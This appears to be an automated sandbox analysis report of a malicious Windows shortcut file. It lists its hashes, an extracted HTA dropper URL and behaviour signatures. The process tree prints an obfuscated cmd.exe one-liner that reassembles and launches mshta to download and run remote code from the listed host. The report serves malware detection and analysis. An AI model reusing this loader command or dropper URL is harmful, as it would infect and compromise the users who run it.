Analysis

  • max time kernel
    40s
  • max time network
    38s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:58

General

  • Target
    DOC-LAZZK7.lnk
  • Size 2KB
  • Sample260803-vg2nbsfp3z
  • SHA256 0a28efe782e3a06a6ef7be1e1f9290dfb2f043004c52159db8e33d87975fa5d3
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LAZZK7.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5732
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set GDd=e6qm6rx&&set GgUR=k2shtazne&set yH=systsfbbszhrmtsys&set KU=bakczozbctfobak&set aKBA=bakvptrynrqsbak&set LTy=dbggacsjvhyvktzaakpcgdbg&set RUNpF=syshwoozrxbqbsys&set po=61sk&&set SElx=em4tp2&&set MRe=t4artzl&&set kkhTm=ht@tp@s@:/@/ma-@p@df@f@ill@[email protected]@/@h@/estag@i@o@1@.@php?r=391@46@9FB5@D82DB&&start /b !GDd:~3,1!!GgUR:~2,4! !kkhTm:@=!&&set wDON=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2856

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads